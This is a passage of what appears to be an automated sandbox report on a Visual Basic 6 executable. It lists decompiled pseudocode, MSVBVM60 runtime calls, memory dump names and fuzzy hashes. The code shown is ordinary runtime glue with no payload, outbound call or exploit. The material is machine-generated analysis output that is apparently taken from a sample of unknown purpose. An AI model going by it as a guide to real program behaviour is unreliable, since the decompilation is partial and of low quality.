				_v12 = _t86 - 0x18;
				_v8 = 0x401360;
				_t82 = _a4;
				_v24 = 0;
				_v28 = 0;
				if( *((intOrPtr*)(_t82 + 0x70)) == 0) {
					_t79 = __imp____vbaSetSystemError;
				} else {
					_t49 =  *((intOrPtr*)( *_t82 + 0x3b0))(_t82);
					__imp____vbaObjSet( &_v24, _t49);
					_t80 = _t49;
					_t51 =  *((intOrPtr*)( *_t80 + 0x1c0))(_t80,  &_v28);
					asm("fclex");
					if(_t51 < 0) {
						__imp____vbaHresultCheckObj(_t51, _t80, 0x410414, 0x1c0);
					}
					_t60 = _t82 + 0x84;
					E0041006C();
					_t79 = __imp____vbaSetSystemError;
					_v32 = _t51;
					 *_t79(_v28, _t60);
					 *((intOrPtr*)(_t82 + 0x80)) = _v32;
					__imp____vbaFreeObj();
					E0040F790();
					 *_t79( *((intOrPtr*)(_t82 + 0x70)), 0,  *_t60,  *((intOrPtr*)(_t82 + 0x88)),  *((intOrPtr*)(_t82 + 0x8c)),  *((intOrPtr*)(_t82 + 0x90)), 0x14);
				}
				if( *((intOrPtr*)(_t82 + 0x74)) != 0) {
					_t41 =  &_v24;
					__imp____vbaObjSet(_t41,  *((intOrPtr*)( *_t82 + 0x3ac))(_t82));
					_t58 = _t41;
					_t42 =  *((intOrPtr*)( *_t58 + 0x1c0))(_t58,  &_v28);
					asm("fclex");
					if(_t42 < 0) {
						__imp____vbaHresultCheckObj(_t42, _t58, 0x410414, 0x1c0);
					}
					_t43 = _v28;
					_t59 = _t82 + 0x94;
					E0041006C();
					_v32 = _t43;
					 *_t79(_t43, _t59);
					 *((intOrPtr*)(_t82 + 0x80)) = _v32;
					__imp____vbaFreeObj();
					E0040F790();
					 *_t79( *((intOrPtr*)(_t82 + 0x74)), 0,  *_t59,  *((intOrPtr*)(_t82 + 0x98)),  *((intOrPtr*)(_t82 + 0x9c)),  *((intOrPtr*)(_t82 + 0xa0)), 0x14);
				}
				_t39 =  *((intOrPtr*)( *_t82 + 0x8b4))(_t82);
				_push(0x416a13);
				return _t39;
			}

0x00416893
0x00416896
0x004168a1
0x004168a2
0x004168af
0x004168b2
0x004168b9
0x004168be
0x004168c1
0x004168c7
0x0041695e
0x004168cd
0x004168d0
0x004168db
0x004168e1
0x004168ea
0x004168f2
0x004168f4
0x00416902
0x00416902
0x0041690b
0x00416913
0x00416918
0x0041691e
0x00416921
0x00416929
0x0041692f
0x00416955
0x0041695a
0x0041695a
0x00416969
0x00416979
0x0041697d
0x00416983
0x0041698c
0x00416994
0x00416996
0x004169a4
0x004169a4
0x004169aa
0x004169ad
0x004169b5
0x004169ba
0x004169bd
0x004169c2
0x004169cb
0x004169f1
0x004169f6
0x004169f6
0x004169fb
0x00416a01
0x00000000

APIs

__vbaObjSet.MSVBVM60(?,00000000,?,?,?,?,?,?,?,?,00401D26), ref: 004168DB
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,00410414,000001C0,?,?,?,?,?,?,?,?,00401D26), ref: 00416902
__vbaSetSystemError.MSVBVM60(?,?,?,?,?,?,?,?,?,?,00401D26), ref: 00416921
__vbaFreeObj.MSVBVM60(?,?,?,?,?,?,?,?,00401D26), ref: 0041692F
__vbaSetSystemError.MSVBVM60(?,00000000,?,?,?,?,00000014,?,?,?,?,?,?,?,?,00401D26), ref: 0041695A
__vbaObjSet.MSVBVM60(?,00000000,?,?,?,?,?,?,?,?,00401D26), ref: 0041697D
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,00410414,000001C0,?,?,?,?,?,?,?,?,00401D26), ref: 004169A4
__vbaSetSystemError.MSVBVM60(?,?,?,?,?,?,?,?,?,?,00401D26), ref: 004169BD
__vbaFreeObj.MSVBVM60(?,?,?,?,?,?,?,?,00401D26), ref: 004169CB
__vbaSetSystemError.MSVBVM60(?,00000000,?,?,?,?,00000014,?,?,?,?,?,?,?,?,00401D26), ref: 004169F6

Memory Dump Source

Source File: 00000007.00000002.2256715772.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2256712625.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.2256730665.0000000000422000.00000040.00020000.sdmp Download File
Associated: 00000007.00000002.2256733912.0000000000423000.00000020.00020000.sdmp Download File
Associated: 00000007.00000002.2256739325.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.2256743297.000000000042D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_tmp_e473b4.jbxd

Similarity

API ID: __vba$ErrorSystem$CheckFreeHresult
String ID:
API String ID: 3470325077-0
Opcode ID: 3e37ed51ec3eab2260e1e8d93aa247695829d60059629668c722d6bf01ebe3c5
Instruction ID: 436ae83611ac3ab763441565944a166f388d92644671e6a115ce87b9a393c64e
Opcode Fuzzy Hash: 3e37ed51ec3eab2260e1e8d93aa247695829d60059629668c722d6bf01ebe3c5
Instruction Fuzzy Hash: F5415DB0900609AFD710DFA4C985FEBB7F8FF48700F108529F686E7251DB74A8458BA4

Uniqueness

Uniqueness Score: -1.00%

Function 004221F0, Relevance: 15.1, APIs: 10, Instructions: 114COMMON

Download Yara Rule

APIs

__vbaSetSystemError.MSVBVM60(?,00000008,?,?,?,?,?,?,?,?,?,?,?,?,?,00401D26), ref: 00422252
__vbaSetSystemError.MSVBVM60(?,?,00000008,?,00000008), ref: 0042226F
#685.MSVBVM60(?,00000008,?,00000008), ref: 00422277
__vbaObjSet.MSVBVM60(?,00000000,?,00000008,?,00000008), ref: 0042227E
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,004119EC,0000004C,?,00000008,?,00000008), ref: 0042229F
__vbaFreeObj.MSVBVM60(?,00000008,?,00000008), ref: 004222B6
#685.MSVBVM60(?,00000008,?,00000008), ref: 004222CD
__vbaObjSet.MSVBVM60(?,00000000,?,00000008,?,00000008), ref: 004222D4
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,004119EC,0000004C,?,00000008,?,00000008), ref: 004222F5
__vbaFreeObj.MSVBVM60(?,00000008,?,00000008), ref: 0042230C

Memory Dump Source

Source File: 00000007.00000002.2256730665.0000000000422000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2256712625.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.2256715772.0000000000401000.00000020.00020000.sdmp Download File
Associated: 00000007.00000002.2256733912.0000000000423000.00000020.00020000.sdmp Download File
Associated: 00000007.00000002.2256739325.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.2256743297.000000000042D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_tmp_e473b4.jbxd

Similarity

API ID: __vba$#685CheckErrorFreeHresultSystem
String ID:
API String ID: 3872544020-0
Opcode ID: af78cd6ba52e7d9bc5289ce7886ded48ffdc8ff9f1db35df46dd3f1528e76402
Instruction ID: c71af55f8ef969f0d82e6d7f33767a1e66a9333ad20b365ad60b9d01497f40b0
Opcode Fuzzy Hash: af78cd6ba52e7d9bc5289ce7886ded48ffdc8ff9f1db35df46dd3f1528e76402
Instruction Fuzzy Hash: FE416F75A01215ABDB10DFA5CA859DFBBB8FF4C740B50452AE941F7250D7789C40CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 0041D400, Relevance: 15.1, APIs: 10, Instructions: 86COMMON

Download Yara Rule

APIs

__vbaNew2.MSVBVM60(0040B730,?,00000000,00401690), ref: 0041D443
__vbaHresultCheckObj.MSVBVM60(00000000,?,00411158,0000001C), ref: 0041D467
__vbaFreeVar.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,00401D26), ref: 0041D470
__vbaNew2.MSVBVM60(0040B730,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00401D26), ref: 0041D484
__vbaNew2.MSVBVM60(0040B730,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00401D26), ref: 0041D497
__vbaHresultCheckObj.MSVBVM60(00000000,?,00411158,00000020), ref: 0041D4B3
__vbaFreeVar.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,00401D26), ref: 0041D4BC
__vbaNew2.MSVBVM60(0040B730,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00401D26), ref: 0041D4D2
__vbaObjSetAddref.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00401D26), ref: 0041D4D9
__vbaFreeObj.MSVBVM60(0041D509,?,?,?,?,?,?,?,?,?,?,?,?,?,00401D26), ref: 0041D502

Memory Dump Source

Source File: 00000007.00000002.2256715772.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2256712625.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.2256730665.0000000000422000.00000040.00020000.sdmp Download File
Associated: 00000007.00000002.2256733912.0000000000423000.00000020.00020000.sdmp Download File
Associated: 00000007.00000002.2256739325.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.2256743297.000000000042D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_tmp_e473b4.jbxd

Similarity

API ID: __vba$New2$Free$CheckHresult$Addref
String ID:
API String ID: 2032624950-0
Opcode ID: 15a05a22236c11a641ae1816682f5b1709ae9fb9ece815951c33b63d200af556
Instruction ID: d158ac7346c3867bacecfea32575f4cecfbfdf00a72e3fb2d8eb31f6f13ebce5
Opcode Fuzzy Hash: 15a05a22236c11a641ae1816682f5b1709ae9fb9ece815951c33b63d200af556
Instruction Fuzzy Hash: 64312470940249BBDB10DF95CD85EEFBBB8EF98700F104025F645A31A0D778A485CB98

Uniqueness

Uniqueness Score: -1.00%

Function 003E0010, Relevance: 12.6, Strings: 10, Instructions: 98COMMON

Download Yara Rule

Strings

Two, xrefs: 003E0065
Four, xrefs: 003E007F
Ten, xrefs: 003E00CD
Five, xrefs: 003E008C
One, xrefs: 003E005B
Seven, xrefs: 003E00A6
Nine, xrefs: 003E00C0
Three, xrefs: 003E0072
Six, xrefs: 003E0099
Eight, xrefs: 003E00B3

Memory Dump Source

Source File: 00000007.00000002.2256690931.00000000003E0000.00000040.00000001.sdmp, Offset: 003E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_3e0000_tmp_e473b4.jbxd

Similarity

API ID:
String ID: Eight$Five$Four$Nine$One$Seven$Six$Ten$Three$Two
API String ID: 0-211638553
Opcode ID: 8cc000d8363efb3f459e751a077807d67fb32520a221421634b6d1961bee58a5
Instruction ID: 876193936b14b27d79bbad5298ff1112646e7665e293d5956e63d336490d79ff
Opcode Fuzzy Hash: 8cc000d8363efb3f459e751a077807d67fb32520a221421634b6d1961bee58a5
Instruction Fuzzy Hash: 0C313D38E511289BCB04DB98CD80AED7BB5FF5C340B508027D502777A4DB789986CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00415C70, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 73
COMMON

Download Yara Rule

C-Code - Quality: 16%

			E00415C70(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4, void* _a8) {
				char _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				char _v28;
				char _v32;
				intOrPtr _v36;
				intOrPtr _v44;
				intOrPtr* _t25;
				void* _t27;
				void* _t30;
				intOrPtr* _t44;
				intOrPtr* _t45;
				intOrPtr* _t47;
				void* _t48;
				void* _t50;
				intOrPtr _t51;
				intOrPtr _t52;

				_t51 = _t50 - 0xc;
				 *[fs:0x0] = _t51;
				_t52 = _t51 - 0x28;
				_v16 = _t52;
				_v12 = 0x401340;
				_v8 = 0;
				_t47 = _a4;
				 *((intOrPtr*)( *_t47 + 4))(_t47, __edi, __esi, __ebx,  *[fs:0x0], 0x401d26, _t48);
				_v28 = 0;
				_v32 = 0;
				__imp____vbaStrCopy();
				_t25 =  *((intOrPtr*)( *_t47 + 0x3b0))(_t47);
				__imp____vbaObjSet( &_v32, _t25);
				_t44 = _t25;
				_t27 =  *((intOrPtr*)( *_t44 + 0x23c))(_t44, _v28);
				asm("fclex");
				if(_t27 < 0) {
					__imp____vbaHresultCheckObj(_t27, _t44, 0x410414, 0x23c);
				}
				__imp____vbaFreeObj();
				_t45 = _t52 - 0x10;
				 *_t45 = 8;
				 *((intOrPtr*)(_t45 + 4)) = _v44;
				 *(_t45 + 8) = L"ToolTipText";
				 *((intOrPtr*)(_t45 + 0xc)) = _v36;
				_t30 =  *((intOrPtr*)( *_t47 + 0x390))(_t47);
				asm("fclex");
				if(_t30 < 0) {
					__imp____vbaHresultCheckObj(_t30, _t47, 0x40f430, 0x390);
				}
				__imp____vbaFreeStr(0x415d59);
				return _t30;
			}

0x00415c73
0x00415c82
0x00415c89
0x00415c8f
0x00415c92
0x00415c9b
0x00415c9e
0x00415ca4
0x00415cad
0x00415cb0
0x00415cb3
0x00415cbc
0x00415cc7
0x00415cd0
0x00415cd6
0x00415cde
0x00415ce0
0x00415cee
0x00415cee
0x00415cf7
0x00415d05
0x00415d0f
0x00415d14
0x00415d17
0x00415d1d
0x00415d20
0x00415d28
0x00415d2a
0x00415d38
0x00415d38
0x00415d52
0x00415d58

APIs

__vbaStrCopy.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401D26), ref: 00415CB3
__vbaObjSet.MSVBVM60(?,00000000,?,?,?,?,?,?,?,?,?,?,?,?,00401D26), ref: 00415CC7
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,00410414,0000023C), ref: 00415CEE
__vbaFreeObj.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401D26), ref: 00415CF7
__vbaHresultCheckObj.MSVBVM60(00000000,00401340,0040F430,00000390), ref: 00415D38
__vbaFreeStr.MSVBVM60(00415D59,?,?,?,?,?,?,?,?,?,?,?,?,?,00401D26), ref: 00415D52

Strings

ToolTipText, xrefs: 00415D09

Memory Dump Source

Source File: 00000007.00000002.2256715772.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2256712625.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.2256730665.0000000000422000.00000040.00020000.sdmp Download File
Associated: 00000007.00000002.2256733912.0000000000423000.00000020.00020000.sdmp Download File
Associated: 00000007.00000002.2256739325.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.2256743297.000000000042D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_tmp_e473b4.jbxd

Similarity

API ID: __vba$CheckFreeHresult$Copy
String ID: ToolTipText
API String ID: 2714663509-1021058858
Opcode ID: 1f255d4b518208c9a6b42715e43c61880ae14d4f20628a28c6d47aff8d44e0f5
Instruction ID: 33de4cc99446451a3635e04d7da42baef83112a3494888afb963685ac4157390
Opcode Fuzzy Hash: 1f255d4b518208c9a6b42715e43c61880ae14d4f20628a28c6d47aff8d44e0f5
Instruction Fuzzy Hash: 2C216D70900209EFCB049F99CA89AEEBBB8FF58700F208529F505E32A0D7786945CF94

Uniqueness

Uniqueness Score: -1.00%

Function 0041CCA0, Relevance: 12.1, APIs: 8, Instructions: 100
COMMON

Download Yara Rule

C-Code - Quality: 23%

			E0041CCA0(void* __ebx, void* __edi, void* __esi, signed int _a4) {
				signed int _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				char _v28;
				char _v32;
				char _v48;
				signed int _v64;
				intOrPtr _v68;
				signed int _v72;
				intOrPtr _v76;
				char _v80;
				short _v84;
				short _t46;
				void* _t47;
				intOrPtr* _t49;
				char* _t53;
				void* _t54;
				intOrPtr* _t70;
				signed int _t73;
				intOrPtr* _t74;
				signed int _t76;
				signed int _t77;
				void* _t78;
				void* _t80;
				intOrPtr _t81;
				intOrPtr _t82;

				_t81 = _t80 - 0xc;
				 *[fs:0x0] = _t81;
				_t82 = _t81 - 0x48;
				_v16 = _t82;
				_v12 = 0x4016f0;
				_t76 = _a4;
				_v8 = _t76 & 0x00000001;
				_t77 = _t76 & 0xfffffffe;
				_a4 = _t77;
				 *((intOrPtr*)( *_t77 + 4))(_t77, __edi, __esi, __ebx,  *[fs:0x0], 0x401d26, _t78);
				_t7 = _t77 + 0x34; // 0x401724
				_t56 = _t7;
				_t73 = 0;
				_v28 = 0;
				_v32 = 0;
				_v48 = 0;
				_v64 = 0;
				_v80 = 0;
				E0041DA00(_t7, 0, _t77,  &_v48, _t7);
				_t46 =  &_v48;
				_v72 = 0;
				_v80 = 0x800b;
				__imp____vbaVarTstEq( &_v80, _t46);
				_v84 = _t46;
				__imp____vbaFreeVar();
				if(_v84 != 0) {
					_t49 =  &_v32;
					__imp____vbaObjSet(_t49,  *((intOrPtr*)( *_t77 + 0x30c))(_t77));
					_t74 = _t49;
					_v72 = 0x80020004;
					_v80 = 0xa;
					E0041D830(_t56, _t74, _t77,  &_v48, _t56);
					_t70 = _t82 - 0x10;
					 *_t70 = _v80;
					 *((intOrPtr*)(_t70 + 4)) = _v76;
					 *((intOrPtr*)(_t70 + 8)) = _v72;
					_t53 =  &_v28;
					 *((intOrPtr*)(_t70 + 0xc)) = _v68;
					__imp____vbaStrVarVal(_t53,  &_v48);
					_t54 =  *((intOrPtr*)( *_t74 + 0x1ec))(_t74, _t53);
					asm("fclex");
					if(_t54 < 0) {
						__imp____vbaHresultCheckObj(_t54, _t74, 0x4110d8, 0x1ec);
					}
					__imp____vbaFreeStr();
					__imp____vbaFreeObj();
					__imp____vbaFreeVar();
					_t73 = 0;
				}
				_t47 =  *((intOrPtr*)( *_t77 + 0x6fc))(_t77);
				_v8 = _t73;
				_push(0x41cdfe);
				return _t47;
			}

0x0041cca3
0x0041ccb2
0x0041ccb9
0x0041ccbf
0x0041ccc2
0x0041ccc9
0x0041ccd1
0x0041ccd4
0x0041ccd8
0x0041ccdd
0x0041cce0
0x0041cce0
0x0041cce6
0x0041ccea
0x0041cced
0x0041ccf0
0x0041ccf3
0x0041ccf6
0x0041ccf9
0x0041ccfe
0x0041cd06
0x0041cd09
0x0041cd10
0x0041cd19
0x0041cd1d
0x0041cd27
0x0041cd37
0x0041cd3b
0x0041cd46
0x0041cd48
0x0041cd4f
0x0041cd56
0x0041cd66
0x0041cd68
0x0041cd6d
0x0041cd73
0x0041cd76
0x0041cd79
0x0041cd81
0x0041cd89
0x0041cd91
0x0041cd93
0x0041cda1
0x0041cda1
0x0041cdaa
0x0041cdb3
0x0041cdbc
0x0041cdc2
0x0041cdc2
0x0041cdc7
0x0041cdcd
0x0041cdd0
0x00000000

APIs

Part of subcall function 0041DA00: __vbaNew2.MSVBVM60(0040B730,?,00000000,004016F0,00401724), ref: 0041DA46
Part of subcall function 0041DA00: __vbaHresultCheckObj.MSVBVM60(00000000,?,00411158,00000028), ref: 0041DA67
Part of subcall function 0041DA00: __vbaVarTextTstEq.MSVBVM60(?,?), ref: 0041DA78
Part of subcall function 0041DA00: __vbaFreeVar.MSVBVM60 ref: 0041DA83
Part of subcall function 0041DA00: __vbaVarMove.MSVBVM60 ref: 0041DAA5

__vbaVarTstEq.MSVBVM60(?,?,?,00401724), ref: 0041CD10
__vbaFreeVar.MSVBVM60 ref: 0041CD1D
__vbaObjSet.MSVBVM60(?,00000000), ref: 0041CD3B

Part of subcall function 0041D830: __vbaNew2.MSVBVM60(0040B730,?,0041A58C,0040160E,00000000), ref: 0041D873
Part of subcall function 0041D830: __vbaHresultCheckObj.MSVBVM60(00000000,0040160E,00411158,00000028), ref: 0041D894
Part of subcall function 0041D830: __vbaVarMove.MSVBVM60 ref: 0041D8A0
Part of subcall function 0041D830: __vbaNew2.MSVBVM60(0040B730,?), ref: 0041D8B0
Part of subcall function 0041D830: __vbaHresultCheckObj.MSVBVM60(00000000,0040160E,00411158,00000024), ref: 0041D8D1
Part of subcall function 0041D830: __vbaObjSetAddref.MSVBVM60(?,?), ref: 0041D8DC
Part of subcall function 0041D830: __vbaFreeObj.MSVBVM60 ref: 0041D8E5

__vbaStrVarVal.MSVBVM60(?,?), ref: 0041CD81
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,004110D8,000001EC), ref: 0041CDA1
__vbaFreeStr.MSVBVM60 ref: 0041CDAA
__vbaFreeObj.MSVBVM60 ref: 0041CDB3
__vbaFreeVar.MSVBVM60 ref: 0041CDBC

Memory Dump Source

Source File: 00000007.00000002.2256715772.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2256712625.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.2256730665.0000000000422000.00000040.00020000.sdmp Download File
Associated: 00000007.00000002.2256733912.0000000000423000.00000020.00020000.sdmp Download File
Associated: 00000007.00000002.2256739325.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.2256743297.000000000042D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_tmp_e473b4.jbxd

Similarity

API ID: __vba$Free$CheckHresult$New2$Move$AddrefText
String ID:
API String ID: 1958995884-0
Opcode ID: 7beee8e3230af983d5d0d36260d709c3d97969727100c4d91b5e4ffed9991194
Instruction ID: 216af6537d7fe68e7bcb3f168ccfc5d9b30925e2f8a028a7b625b906e42be39d
Opcode Fuzzy Hash: 7beee8e3230af983d5d0d36260d709c3d97969727100c4d91b5e4ffed9991194
Instruction Fuzzy Hash: 36410BB1D00249EFCB00DFA9D9889EEFBB8FF48704F10812AE455A7250DB746946CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00416AA0, Relevance: 12.1, APIs: 8, Instructions: 70
COMMON

Download Yara Rule

C-Code - Quality: 20%

			E00416AA0(short* _a8) {
				intOrPtr _v8;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v36;
				short _v40;
				short _v48;
				short _v52;
				void* _t34;
				void* _t44;
				void* _t46;
				intOrPtr _t48;

				 *[fs:0x0] = _t48;
				L00401D20();
				_v28 = _t48;
				_v24 = 0x401378;
				_v20 = 0;
				_v16 = 0;
				_v8 = 1;
				_v8 = 2;
				__imp____vbaOnError(0xffffffff, _t44, _t46, _t34,  *[fs:0x0], 0x401d26);
				_v8 = 3;
				E0040F6F8();
				_v52 = 0x24;
				__imp____vbaSetSystemError(0x10);
				if(_v52 < 0) {
					_v8 = 4;
					__imp____vbaI2I4();
					_v40 = 0x24;
				}
				_v8 = 6;
				E0040F6F8();
				_v52 = 0x24;
				__imp____vbaSetSystemError(0x11);
				if(_v52 < 0) {
					_v8 = 7;
					__imp____vbaI2I4();
					_v40 = 0x24;
				}
				_v8 = 9;
				E0040F6F8();
				_v52 = 0x24;
				__imp____vbaSetSystemError(0x12);
				if(_v52 < 0) {
					_v8 = 0xa;
					__imp____vbaI2I4();
					_v40 = 0x24;
				}
				_v8 = 0xc;
				_v48 = _v40;
				 *_a8 = _v48;
				 *[fs:0x0] = _v36;
				return 0;
			}

0x00416ab2
0x00416abe
0x00416ac6
0x00416ac9
0x00416ad0
0x00416ad7
0x00416ade
0x00416ae5
0x00416aee
0x00416af4
0x00416afd
0x00416b02
0x00416b06
0x00416b11
0x00416b13
0x00416b1f
0x00416b25
0x00416b25
0x00416b29
0x00416b32
0x00416b37
0x00416b3b
0x00416b46
0x00416b48
0x00416b56
0x00416b5c
0x00416b5c
0x00416b60
0x00416b69
0x00416b6e
0x00416b72
0x00416b7d
0x00416b7f
0x00416b8d
0x00416b93
0x00416b93
0x00416b97
0x00416ba2
0x00416bad
0x00416bb5
0x00416bc2

APIs

__vbaChkstk.MSVBVM60(?,00401D26), ref: 00416ABE
__vbaOnError.MSVBVM60(000000FF,?,?,?,?,00401D26), ref: 00416AEE
__vbaSetSystemError.MSVBVM60(00000010,?,?,?,?,00401D26), ref: 00416B06
__vbaI2I4.MSVBVM60 ref: 00416B1F
__vbaSetSystemError.MSVBVM60(00000011), ref: 00416B3B
__vbaI2I4.MSVBVM60 ref: 00416B56
__vbaSetSystemError.MSVBVM60(00000012), ref: 00416B72
__vbaI2I4.MSVBVM60 ref: 00416B8D

Memory Dump Source

Source File: 00000007.00000002.2256715772.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2256712625.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.2256730665.0000000000422000.00000040.00020000.sdmp Download File
Associated: 00000007.00000002.2256733912.0000000000423000.00000020.00020000.sdmp Download File
Associated: 00000007.00000002.2256739325.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.2256743297.000000000042D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_tmp_e473b4.jbxd

Similarity

API ID: __vba$Error$System$Chkstk
String ID:
API String ID: 1207130036-0
Opcode ID: ea9604c5916d525a8328da06356a28026cd912875048fd067f192b200c4bdb86
Instruction ID: 327cac6cddf6cd9854ff14e78122b0fc01e26885dc900f474e498e473df09a84
Opcode Fuzzy Hash: ea9604c5916d525a8328da06356a28026cd912875048fd067f192b200c4bdb86
Instruction Fuzzy Hash: EC312B74811258EAEB10EFE5DA097DDB7F0FF08708F10816EE901B76A0D7B91A84DB59

Uniqueness

Uniqueness Score: -1.00%

Function 00421270, Relevance: 12.0, APIs: 8, Instructions: 49COMMON

Download Yara Rule

APIs

__vbaCastObj.MSVBVM60(00000000,00411580,?,?,?,?,?,00401D26), ref: 004212B3
__vbaObjSet.MSVBVM60(?,00000000,?,?,?,?,?,00401D26), ref: 004212C4
__vbaObjSetAddref.MSVBVM60(004019A4,00000000,?,?,?,?,?,00401D26), ref: 004212CE
__vbaFreeObj.MSVBVM60(?,?,?,?,?,00401D26), ref: 004212D3
__vbaNew.MSVBVM60(00411590,?,?,?,?,?,00401D26), ref: 004212DE
__vbaObjSet.MSVBVM60(?,00000000,?,?,?,?,?,00401D26), ref: 004212E9
__vbaObjSetAddref.MSVBVM60(004019A4,00000000,?,?,?,?,?,00401D26), ref: 004212ED
__vbaFreeObj.MSVBVM60(?,?,?,?,?,00401D26), ref: 004212F2

Memory Dump Source

Source File: 00000007.00000002.2256715772.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2256712625.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.2256730665.0000000000422000.00000040.00020000.sdmp Download File
Associated: 00000007.00000002.2256733912.0000000000423000.00000020.00020000.sdmp Download File
Associated: 00000007.00000002.2256739325.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.2256743297.000000000042D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_tmp_e473b4.jbxd

Similarity

API ID: __vba$AddrefFree$Cast
String ID:
API String ID: 1392565369-0
Opcode ID: 5351791343b62573ab7622ea7e42c0724a9c9e6e1ce10e945ae8ba8bc7e4ee02
Instruction ID: 6aa348e2409fc626726c32a0e11aaafdac8e423d8c066127c6e7128b407930ed
Opcode Fuzzy Hash: 5351791343b62573ab7622ea7e42c0724a9c9e6e1ce10e945ae8ba8bc7e4ee02
Instruction Fuzzy Hash: 7F0140B6900249BFD700AFA5DD46EEFBBBCEF58740F10442AFA01A3570D6745941CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 0041CE20, Relevance: 10.6, APIs: 7, Instructions: 95
COMMON

Download Yara Rule

C-Code - Quality: 27%

			E0041CE20(void* __ebx, void* __edi, void* __esi, signed int _a4) {
				signed int _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				char _v28;
				char _v32;
				char _v48;
				intOrPtr _v52;
				intOrPtr _v60;
				signed int _v64;
				intOrPtr _v84;
				void* _t37;
				intOrPtr* _t39;
				char* _t45;
				void* _t46;
				signed int _t48;
				intOrPtr* _t52;
				intOrPtr* _t62;
				signed int _t64;
				signed int _t65;
				void* _t66;
				void* _t68;
				intOrPtr _t69;
				intOrPtr _t70;

				_t69 = _t68 - 0xc;
				 *[fs:0x0] = _t69;
				_t70 = _t69 - 0x3c;
				_v16 = _t70;
				_v12 = 0x401700;
				_t64 = _a4;
				_v8 = _t64 & 0x00000001;
				_t65 = _t64 & 0xfffffffe;
				_a4 = _t65;
				 *((intOrPtr*)( *_t65 + 4))(_t65, __edi, __esi, __ebx,  *[fs:0x0], 0x401d26, _t66);
				_t7 = _t65 + 0x38; // 0x401738
				_t48 = 0;
				_v28 = 0;
				_v32 = 0;
				_v48 = 0;
				_v64 = 0;
				if(E0041E380(0, __edi, _t65, _t7) == 0) {
					_t39 =  &_v32;
					__imp____vbaObjSet(_t39,  *((intOrPtr*)( *_t65 + 0x308))(_t65));
					_t62 = _t39;
					_t14 = _t65 + 0x38; // 0x401738
					E0041E040(0x80020004, _t62, _t65,  &_v48, _t14);
					_t52 = _t70 - 0x10;
					_v84 =  *_t62;
					 *_t52 = 0xa;
					 *((intOrPtr*)(_t52 + 4)) = _v60;
					 *((intOrPtr*)(_t52 + 8)) = 0x80020004;
					 *((intOrPtr*)(_t52 + 0xc)) = _v52;
					_t45 =  &_v28;
					__imp____vbaStrVarVal(_t45,  &_v48);
					_t46 =  *((intOrPtr*)(_v84 + 0x1ec))(_t62, _t45);
					_t48 = 0;
					asm("fclex");
					if(_t46 < 0) {
						__imp____vbaHresultCheckObj(_t46, _t62, 0x4110d8, 0x1ec);
					}
					__imp____vbaFreeStr();
					__imp____vbaFreeObj();
					__imp____vbaFreeVar();
				}
				_t37 =  *((intOrPtr*)( *_t65 + 0x6f8))(_t65);
				if(_t37 < _t48) {
					__imp____vbaHresultCheckObj(_t37, _t65, 0x410b74, 0x6f8);
				}
				_v8 = _t48;
				_push(0x41cf5c);
